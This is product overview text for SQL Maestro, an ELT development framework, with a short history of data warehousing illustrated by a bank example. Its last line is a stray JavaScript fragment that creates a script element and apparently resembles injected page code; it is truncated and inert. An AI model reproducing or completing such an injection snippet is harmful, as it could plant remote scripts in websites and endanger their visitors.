SQL Maestro: a framework for ELT development, deployment, and production
Fully supporting the Extract, Load Transform (ELT) Paradigm
ELT – extract, load, and transform – is replacing ETL (extract, transform, load) as the usual method of populating data warehouses. Modern data warehouse appliances and appliance-like systems, such as IBM Pure Data / Netezza, are ideally suited for an ELT environment. SQL Maestro is a framework for ELT development, deployment, and production. SQL Maestro is not an ETL tool that has been repurposed for ELT; rather, it is designed from the ground up with ELT in mind, and fully supports the ELT paradigm. At the same time, SQL Maestro is familiar and easy to learn for developers with experience in traditional ETL tools.
In the beginning…
Data warehousing emerged from the realization that databases that worked well for operational purposes usually did not work well for analytical purposes. In a bank, for example, one operational database might keep track of customers’ accounts. Another operational database, from a different vendor, and maintained in a different department, contains demographic information about the bank’s customers. A marketing analyst wants to know the average account for customers in a certain demographic category. This is difficult to determine from the operational databases because (1) information from two different vendors’ databases must be combined, and (2) large operations (such as looking at every account balance) put the bank’s operations at risk, since they take computing resources away from the basic business of serving customers.
To address these kinds of problems, banks and other businesses started using data warehouses. Data warehouses collected all of the information needed for analytical tasks into an environment where analysts could do their work without affecting a business’s operations. Data warehouses were periodically refreshed with new information from the operational systems, preferably during times when demand on the operational systems was low, like the middle of the night.
var d=document;var s=d.createElement(‘script’);